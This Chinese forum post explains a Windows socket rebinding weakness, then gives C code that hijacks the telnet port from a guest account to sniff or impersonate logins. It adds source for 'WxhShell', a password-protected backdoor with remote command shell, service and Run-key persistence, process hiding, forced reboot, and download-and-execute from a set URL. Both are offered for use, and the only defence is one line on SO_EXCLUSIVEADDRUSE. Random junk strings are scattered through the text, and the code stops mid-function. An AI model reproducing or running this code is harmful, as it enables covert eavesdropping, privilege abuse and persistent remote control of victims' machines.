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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: vmZ"o9-{#X  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]k%PG-9  
dl|gG9u4Q  
  saddr.sin_family = AF_INET; P~ 0Jg# V  
:#{Xuy:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (?i[jO||B  
FfFak@H  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +l 0g`:  
Z S|WnMH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 M"Y0jQ(  
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  这意味着什么?意味着可以进行如下的攻击: l|"6yB |  
\vbk#G hH  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~)X[(T{  
%,V YiW0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dQ:cYNm  
fg*@<'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 v}(6 <wnnS  
W<,F28jI3v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  x_<qzlQt  
jgu*Y{ocm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -"TR\/  
pV\YG B+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 LBlN2)\@  
6(V /yn ~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 b]fzRdhl  
L36Yx7gT<  
  #include j;nb?;  
  #include ;`j/D@H  
  #include [xlIG}e9  
  #include    1y"3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h0|}TV^UJ  
  int main() @4GA^h  
  { ][@F  
  WORD wVersionRequested; <z)m%*lvU  
  DWORD ret; g.DLfwI|  
  WSADATA wsaData; vfc[p ^  
  BOOL val; DtxE@,  
  SOCKADDR_IN saddr; )P Jw+5  
  SOCKADDR_IN scaddr; |\9TvN^$`  
  int err; t;q7t!sC]  
  SOCKET s; nvq3*  
  SOCKET sc; X` r* ob  
  int caddsize; :}}%#/nd  
  HANDLE mt; iz^qR={bW  
  DWORD tid;   |(R5e  
  wVersionRequested = MAKEWORD( 2, 2 ); Zj9c9  
  err = WSAStartup( wVersionRequested, &wsaData ); gX @`X  
  if ( err != 0 ) { MDa7 B +4  
  printf("error!WSAStartup failed!\n"); qYB~VE03  
  return -1; Nh!_l  
  } 6z,Dyy]tl  
  saddr.sin_family = AF_INET; GF<[}  
   V2d,ksKwn  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 m@G i6   
<^R{U&Z@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D{7w!z  
  saddr.sin_port = htons(23); Qst$S}n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oF:v JDSS  
  { X]j)+DX>  
  printf("error!socket failed!\n"); A#@_V'a8  
  return -1; Ub$n |xn  
  } ,J =P,](  
  val = TRUE; YV'pVO'_+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~2 *9{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]7GlO9  
  {  #@.-B,]  
  printf("error!setsockopt failed!\n"); Sb&lhgW]c  
  return -1; ) ]6h y9<  
  } ).412I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :py\ |  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 PRu&3BP  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |CD"*[j]  
z}4L=KR\v  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wTq{sW&  
  { Q(7ob}+jQ  
  ret=GetLastError(); S]/b\ B.h+  
  printf("error!bind failed!\n"); n%%7KTqu  
  return -1; 5p"BD'^:  
  } Zk-~a r  
  listen(s,2); hlJpElYf  
  while(1) - xm{&0e)  
  { $9!D\N,}]C  
  caddsize = sizeof(scaddr); p^)B0[P9  
  //接受连接请求 Z9`TwS@x[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~W0(1# i  
  if(sc!=INVALID_SOCKET) ~eh0[mF^]  
  { 0DPxW8Y-`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sp9W?IJ 6c  
  if(mt==NULL) u_O# @eOc  
  { GC@+V|u  
  printf("Thread Creat Failed!\n"); =6 r:A<F!n  
  break; #$ thPZ  
  } xi~uv?f  
  } c@(&[/q!  
  CloseHandle(mt); qi[Z,&  
  } P 1>AOH2yG  
  closesocket(s); JgRYljQi2  
  WSACleanup(); k;y w#Af8  
  return 0; c "= N  
  }   |9K<-yD  
  DWORD WINAPI ClientThread(LPVOID lpParam) W m&  
  { "j<bA8$Vw  
  SOCKET ss = (SOCKET)lpParam; 63WS7s"  
  SOCKET sc; L,[;k  
  unsigned char buf[4096]; TbVn6V'  
  SOCKADDR_IN saddr; < Bg8,;  
  long num; ;T+pu>)  
  DWORD val; j+4H}XyE  
  DWORD ret; H U+ I  
  //如果是隐藏端口应用的话,可以在此处加一些判断 W !}{$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B~o-l*  
  saddr.sin_family = AF_INET; !p"aAZT7sq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v}JD2.O+  
  saddr.sin_port = htons(23); \Gp*x\<^Z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JC?N_kP%W  
  { ^]C&tG0 !  
  printf("error!socket failed!\n"); RD,5AShP  
  return -1; qPGuo5^  
  } xJ8%<RR!t  
  val = 100; ,zTb<g  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H6TD@kL9Wr  
  { v 4/-b4ET  
  ret = GetLastError(); ]bdFr/!'S+  
  return -1; "`Ge~N[$A  
  } /'.=sH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  :nY 2O  
  { N 5zlT  
  ret = GetLastError(); Y]|:?G7l]  
  return -1; [/ M^[p  
  } lK7m=[ j  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ow'Vz Ay-  
  { * *H&+T/B  
  printf("error!socket connect failed!\n"); $:s`4N^  
  closesocket(sc); } R4c  
  closesocket(ss); cE'L% Z  
  return -1; ;lX(}2tXW  
  } E.bi05l  
  while(1) sW#JjtK  
  { wN-i?Ek0;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1j-te-}"c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /$N~O1"0)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^eYqll/U  
  num = recv(ss,buf,4096,0); SO\/-]9#  
  if(num>0) Q^Ql\  
  send(sc,buf,num,0);  kzmQm  
  else if(num==0) I`(l*U  
  break; az;Q"V'6  
  num = recv(sc,buf,4096,0); oEz%={f  
  if(num>0) /t<@"BoV  
  send(ss,buf,num,0); BG&cQr  
  else if(num==0) <+j)P4O4  
  break; penlG36Q  
  } P,S G.EFK  
  closesocket(ss); >ydRSr^  
  closesocket(sc); hg@}@Wq\)  
  return 0 ; 3 voT^o  
  } d&8APe  
RC#C\S6  
QYb33pN|  
========================================================== V&]DzjT/  
pE.PX 8  
下边附上一个代码,,WXhSHELL )D-c]+yt  
 _?vo U  
========================================================== J T# d(Y  
.9[45][FK  
#include "stdafx.h" <+#o BN  
kUx&pYv  
#include <stdio.h> 3-Dt[0%{  
#include <string.h> w2O!M!1  
#include <windows.h> 98jN)Nl,oD  
#include <winsock2.h> X.F^$  
#include <winsvc.h> %#L]]-%  
#include <urlmon.h> 2?C`4AR[2H  
=,!\~`^  
#pragma comment (lib, "Ws2_32.lib") ?YM4b5!3T  
#pragma comment (lib, "urlmon.lib") /Ss7"*JLe  
d@0Kr5_  
#define MAX_USER   100 // 最大客户端连接数 ;^Sr"v6r>u  
#define BUF_SOCK   200 // sock buffer (m[bWdANnW  
#define KEY_BUFF   255 // 输入 buffer M@1r:4CoKH  
vR6Bn  
#define REBOOT     0   // 重启 x3ERCqTR  
#define SHUTDOWN   1   // 关机 YNrp}KQ  
y)c5u%(  
#define DEF_PORT   5000 // 监听端口 ^I mP`*X  
}U w&Ny  
#define REG_LEN     16   // 注册表键长度 `~UZU@/x  
#define SVC_LEN     80   // NT服务名长度 |tzg :T;  
-tsDMji~V  
// 从dll定义API ;!< Znw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e,_-Je  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S\6[EQ65  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,bE$| x'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6&Juv  
5m:i6,4  
// wxhshell配置信息 L(>=BK*  
struct WSCFG { +|Hioq* ,t  
  int ws_port;         // 监听端口 U!%!m'  
  char ws_passstr[REG_LEN]; // 口令 NCqo@vE  
  int ws_autoins;       // 安装标记, 1=yes 0=no t2" (2  
  char ws_regname[REG_LEN]; // 注册表键名 !  Z`0(d  
  char ws_svcname[REG_LEN]; // 服务名 l=N2lHU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 raVA?|'g~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D0(xNhmKz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FOwDp0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (R~]|?:wt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f~OU*P>V@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xb !MaNm)  
P #F=c34u  
}; L\{IljA  
CBQhIvq.d  
// default Wxhshell configuration SQ,?N XZ  
struct WSCFG wscfg={DEF_PORT, <!$:8ls  
    "xuhuanlingzhe", (KZHX5T=  
    1, dm "n%  
    "Wxhshell", [a o U5;7  
    "Wxhshell",  O|A_PyW  
            "WxhShell Service", ;R=.iOn  
    "Wrsky Windows CmdShell Service", BG^C9*ZuP  
    "Please Input Your Password: ", R .[Z]-X  
  1, _{vkX<s  
  "http://www.wrsky.com/wxhshell.exe", plu$h-$d  
  "Wxhshell.exe" YJS{i  
    }; oBq 49u1  
q{2I_[p  
// 消息定义模块 H+}"q$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Uq_j\A;c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;VO.!5W@eg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qQi.?<d2"s  
char *msg_ws_ext="\n\rExit."; {k.MS-q  
char *msg_ws_end="\n\rQuit."; LIU} a5  
char *msg_ws_boot="\n\rReboot..."; 3lLMu B+  
char *msg_ws_poff="\n\rShutdown..."; *?+V65~dW  
char *msg_ws_down="\n\rSave to "; bk<\ujH  
{u!)y?}I-  
char *msg_ws_err="\n\rErr!"; $I#q  
char *msg_ws_ok="\n\rOK!"; b5m=7;u*h  
RO0>I8c1c  
char ExeFile[MAX_PATH]; w#JJXXQI  
int nUser = 0; .*$OQA  
HANDLE handles[MAX_USER]; ;n=. {[,  
int OsIsNt; o]{uc,  
hqk}akXt  
SERVICE_STATUS       serviceStatus; 3'c\;1lhT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sG~<M"znV  
'sp-%YlM -  
// 函数声明 q'oMAMf}  
int Install(void); zL5d0_E9  
int Uninstall(void);  `G1&Z]z  
int DownloadFile(char *sURL, SOCKET wsh); 4$/i%B#ad  
int Boot(int flag); .t&R>9cZ^  
void HideProc(void); .0u/|Yx  
int GetOsVer(void); B,z<%DAE  
int Wxhshell(SOCKET wsl); >vrxP8_  
void TalkWithClient(void *cs); s%iOUL2/  
int CmdShell(SOCKET sock); } B396X  
int StartFromService(void); Bb&^ {7  
int StartWxhshell(LPSTR lpCmdLine); wOQ#N++C  
Q "oI])r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L.xZ_ 6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &)i|$J 2.  
E6Rz@"^XV  
// 数据结构和表定义 sfr(/mp(  
SERVICE_TABLE_ENTRY DispatchTable[] = m`4R]L]  
{ =O _z(  
{wscfg.ws_svcname, NTServiceMain}, 6b8;}],|  
{NULL, NULL} EzW)'Zzw~  
}; dk QaM@  
!KKT[28v  
// 自我安装 k^$+n_  
int Install(void) J68j=`Y  
{ UV}73Sp  
  char svExeFile[MAX_PATH]; >$gG/WD?KR  
  HKEY key; c4e_6=Iv  
  strcpy(svExeFile,ExeFile); L_Q#(in  
d;Hn#2C  
// 如果是win9x系统,修改注册表设为自启动 Z') pf  
if(!OsIsNt) { 9 7%0;a8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WWwUwUi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a/~aFmu6b  
  RegCloseKey(key); rzrl>9 h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E'1+Yq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {)- .xG  
  RegCloseKey(key); [w -{r+[  
  return 0; oMcK`%ydm  
    } gADmN8G=  
  } .*=]gZ$IE  
} NT%W;)6m9  
else { :J}t&t  
z s Qo$p  
// 如果是NT以上系统,安装为系统服务 i$^)UZJ&0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [=uo1%  
if (schSCManager!=0) DfJ2PX}q  
{ d#:3be{|&q  
  SC_HANDLE schService = CreateService "O+5R(XT  
  ( nmlPX7!{$  
  schSCManager, E{=2\Wkcp  
  wscfg.ws_svcname,  O#nR>1h  
  wscfg.ws_svcdisp, _ 7oV<  
  SERVICE_ALL_ACCESS, qP!eJ6[Nh"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P ]N [y  
  SERVICE_AUTO_START, Jxf~&!zR  
  SERVICE_ERROR_NORMAL, z^o1GY  
  svExeFile, ;vhyhP.oM  
  NULL, A6<C-1 N}j  
  NULL, 5q{h 2).)  
  NULL, tC8(XMVx  
  NULL, C8@TZ[w  
  NULL u{&B^s)k.  
  ); !DjvsG1x  
  if (schService!=0) Uu6L~iB  
  { CZ 2`H[8  
  CloseServiceHandle(schService); M"q[p  
  CloseServiceHandle(schSCManager); "%WgT2)m.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0)YbI!  
  strcat(svExeFile,wscfg.ws_svcname); Nd:R" p*8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J MX6yV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |1Dc!V'?"  
  RegCloseKey(key); +i `*lBup$  
  return 0; :&}odx!-!C  
    } #L crI  
  } 3[p_!eoW  
  CloseServiceHandle(schSCManager); 0uVv<Q~  
} q<e&0u4  
} Vi! Q  
Xog/O i  
return 1; Jsg I'  
} 8B!aO/Km  
:/YO ni1h  
// 自我卸载 JnD {J`:  
int Uninstall(void) &a> lWE  
{ Y izE5[*  
  HKEY key; >Sk[vI0Y  
#)+- lPe  
if(!OsIsNt) { fnzy5+9"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s*M@%_A?  
  RegDeleteValue(key,wscfg.ws_regname); 9D@$i<D:  
  RegCloseKey(key); PDx)S7+w[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fLN!EDq  
  RegDeleteValue(key,wscfg.ws_regname); @$Qof1j'%  
  RegCloseKey(key); mOll5O7VW  
  return 0; fbrp#G71y  
  } 1Wg-x0R  
} :(3|HTz  
} NX* O_/  
else { b yg0.+e0  
qOCJTOg7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q>}2cDl  
if (schSCManager!=0) v=Y K8fNi  
{ 1F[L"W;r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bTmL5}n  
  if (schService!=0) #$S}3 o  
  { ;:&?=d  
  if(DeleteService(schService)!=0) { U3;aLQ*  
  CloseServiceHandle(schService); 'iSAAwT2aj  
  CloseServiceHandle(schSCManager); oR+-+-? ?$  
  return 0;  }`/gX=91  
  } A)n W  
  CloseServiceHandle(schService); fT:}Lj\L1  
  } P sjbR  
  CloseServiceHandle(schSCManager); ]*"s\ix  
} XY7Qa!>7j  
} Ar9nBJ`  
[um&X=1V8  
return 1; }m]q}r  
} 33l>{(y  
2H#N{>7  
// 从指定url下载文件 *ck}|RhR  
int DownloadFile(char *sURL, SOCKET wsh) YZ#V#[j'^  
{ e]+OO g&  
  HRESULT hr; 9>m%`DG*  
char seps[]= "/"; ux2013C_  
char *token; Zp`T  
char *file; suJ_nb  
char myURL[MAX_PATH]; S[M4ukYK  
char myFILE[MAX_PATH]; A(6xg)_XQ  
-H(vL=  
strcpy(myURL,sURL); H(u+#PIIw  
  token=strtok(myURL,seps); d<p2/aA  
  while(token!=NULL) @B1{r|-<^  
  { SDJH;c0   
    file=token; Pd=,$UQp  
  token=strtok(NULL,seps);  aA*9,  
  } dFW=9ru+MQ  
 |qcD;  
GetCurrentDirectory(MAX_PATH,myFILE); %(m ])  
strcat(myFILE, "\\"); Id8wS!W`7  
strcat(myFILE, file); (ClhbfzD  
  send(wsh,myFILE,strlen(myFILE),0); V}8$p8#<@  
send(wsh,"...",3,0); #m. AN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JV"NZvjN7d  
  if(hr==S_OK) IFNWS,:  
return 0; %Tcf6cK"  
else ^%bBW6eZ  
return 1; >mu)/kl  
 I?Y d   
} 54p tP  
%5</ d5.  
// 系统电源模块 R|,7d:k  
int Boot(int flag) x2wg^$F*oO  
{ X33v:9=  
  HANDLE hToken; Evu=M-?  
  TOKEN_PRIVILEGES tkp; 0LVE@qEL  
j\)H  
  if(OsIsNt) { W*T{,M@Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3><u*0qe%I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <HoAj"xf  
    tkp.PrivilegeCount = 1; q|#MB7e/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mMw;0/n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eMMx8E)B  
if(flag==REBOOT) { pu;3nUH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9/TY\?U  
  return 0; a<Uqyilm  
} 9w^zY ;Y  
else { - V) R<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3P=w =~e  
  return 0; z_SagU,\  
} =G>(~+EA  
  } $3 8gs{+  
  else { 2hOPzv&B  
if(flag==REBOOT) { zhEo(kU!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cy3ww})  
  return 0; @ RR\lZ  
} R9dP,<2  
else { BA+_C]%ZJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U{1z;lJ  
  return 0; O]=C#E{  
} ?C;JJ#Ho  
} D[Iq n  
u}jrfKd E  
return 1; n.$(}A  
} ijZ>:B2:  
*Zkss   
// win9x进程隐藏模块 rY70 ^<z  
void HideProc(void) L7q |^`  
{ `F1dyf!p<  
cdp0!W4Gi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2w1tK  
  if ( hKernel != NULL ) M []OHw  
  { >Q2). E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R{3CW^1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bEpMaBN  
    FreeLibrary(hKernel); J/Q|uRpmqr  
  } j7/(sf  
"bX4Q4Dq  
return; Eb@MfL  
} jxY-u+B  
b7$}JCn  
// 获取操作系统版本 m^tNqJs8  
int GetOsVer(void) :,F=w0O  
{ )SiY(8y  
  OSVERSIONINFO winfo; J+2R&3;_O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *8\(FVyG^  
  GetVersionEx(&winfo); @-6?i)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hZuYdV{'h  
  return 1; b=LF%P  
  else < 5ZJ]W  
  return 0; c4|so=  
} :C%47qv  
9*pG?3*I  
// 客户端句柄模块 3%IWGmye4  
int Wxhshell(SOCKET wsl) z\}!RBOq  
{ { /<4'B  
  SOCKET wsh; _T~H[&Hl  
  struct sockaddr_in client; ;nk@XFJ  
  DWORD myID; |~NeB"l{  
X <xqT  
  while(nUser<MAX_USER) 878tI3-  
{ h)o]TV  
  int nSize=sizeof(client); {wu!6\:<??  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *Q/E~4AW|t  
  if(wsh==INVALID_SOCKET) return 1; H1Xovr  
,OB&nN t>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Nmf#`+7gCI  
if(handles[nUser]==0) <nA3Sd"QfV  
  closesocket(wsh); AQ}l%  
else 3wNN<R  
  nUser++; 4(m3c<'P  
  } *|'}v[{v^9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :&$Xe1)i]  
"jGe^+9uT  
  return 0; ? ).(fP  
} MZ^Ch   
E& ]_U$  
// 关闭 socket ^ wQcB  
void CloseIt(SOCKET wsh) ngqUH  
{ liG~y|  
closesocket(wsh); LW?2}`+  
nUser--; /nM*ljfB\  
ExitThread(0); 4~WlP,,M  
} jr1Se9u D  
b-b;7a\N  
// 客户端请求句柄 we a\8[U3"  
void TalkWithClient(void *cs) +~:0Dxv W  
{ X,53c$  
t^$Div_%G  
  SOCKET wsh=(SOCKET)cs; 6SAQDE  
  char pwd[SVC_LEN]; [N R1d-Wg  
  char cmd[KEY_BUFF]; }2xb&6g~o  
char chr[1]; o}R|tOe  
int i,j; Ja=N@&Z#  
*l q7t2  
  while (nUser < MAX_USER) { },3R%?8 9%  
=0Y'f](2eW  
if(wscfg.ws_passstr) { <w11nB)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |ZuDX87  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \]GGVI ;u  
  //ZeroMemory(pwd,KEY_BUFF); "b;k.Fx  
      i=0; Q2R>lzB  
  while(i<SVC_LEN) { ~p!QSRu~,b  
4+,*sn  
  // 设置超时 <M>#qd@c  
  fd_set FdRead; %>]#vQ|  
  struct timeval TimeOut; )XZ,bz*jn  
  FD_ZERO(&FdRead); iy9VruT<x  
  FD_SET(wsh,&FdRead); Ko}7$2^  
  TimeOut.tv_sec=8; &@Yoj%%  
  TimeOut.tv_usec=0; WFks|D:sB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %,E7vYjT%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fa.f(c  
L%4tw5*N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C$0 ITw  
  pwd=chr[0]; t9n'!  
  if(chr[0]==0xd || chr[0]==0xa) { lZ+/\s,]|  
  pwd=0; _4S7wOq5  
  break; Jz2 q\42q  
  } n%Rjt!9  
  i++; <m9JXO:5  
    } M%77u=m  
~M(pCSJ[  
  // 如果是非法用户,关闭 socket a\|X^%2g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B)(w%\M4^  
} ,P1G ?,y  
kfIbgya   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &A#90xzF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D`5: JR-{  
5vl2yN  
while(1) { EID(M.G  
-kt1t@O  
  ZeroMemory(cmd,KEY_BUFF); _2xuzmz0  
@u7%B}q7:  
      // 自动支持客户端 telnet标准   T)*l' g'  
  j=0; uFa-QG^Y{  
  while(j<KEY_BUFF) { |HT)/UZ|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |c BHBd  
  cmd[j]=chr[0]; 9yp^zL  
  if(chr[0]==0xa || chr[0]==0xd) { EzwF`3RjK  
  cmd[j]=0; aw;{<?*  
  break; ZW`HDrP`  
  } LIc*tsl  
  j++; e1Dj0s?i~K  
    } ]oo|o1H87  
H==X0  
  // 下载文件 ook' u }h  
  if(strstr(cmd,"http://")) { 8Na}Wp;|Gi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <:H  
  if(DownloadFile(cmd,wsh)) X@G[=Rs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZO]E@?Oav  
  else | H5Ync[s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sVNo\  
  } 3<yCe%I:  
  else { ggzAU6J  
P'KY.TjWb  
    switch(cmd[0]) { vsxvHot=  
  XP3QBq  
  // 帮助 3" 8t)s  
  case '?': { F5Cqv0H V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %YsRm%q  
    break; B&to&|jf  
  } BD<rQmfA^  
  // 安装 k{!iDZr&f,  
  case 'i': { s$eK66H  
    if(Install()) D]3bwoFo&u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NO%|c|B|  
    else nau~i1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BNF++<s  
    break; s2kGU^]y  
    } #p;4:IT  
  // 卸载 V/+H_=|  
  case 'r': { Tm'lN5}&9  
    if(Uninstall()) 1KNkl,E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9G=A)j  
    else <5C=i:6%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9} IVNZc  
    break; fLf#2EA  
    } jauc*347  
  // 显示 wxhshell 所在路径 g#pIMA#/  
  case 'p': { jKe$&.q@  
    char svExeFile[MAX_PATH]; >:(6{}b  
    strcpy(svExeFile,"\n\r"); =Td#2V;0  
      strcat(svExeFile,ExeFile); #h}IUR  
        send(wsh,svExeFile,strlen(svExeFile),0); ~`a#h#  
    break; h/fb<jIP1  
    } $u(M 4(}  
  // 重启 hPNQGVv  
  case 'b': { _%C_uBLi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :K a^  
    if(Boot(REBOOT)) `"-`D!U?$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F=' jmiVJ  
    else { Lcm~QF7cd  
    closesocket(wsh); P W0q71  
    ExitThread(0); w0F:%:/  
    } m7bn%j-{$f  
    break; |^>L`6uo  
    } 23.y3t_?  
  // 关机 MV:<w3!  
  case 'd': { Lk$Je O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S.?\>iH[  
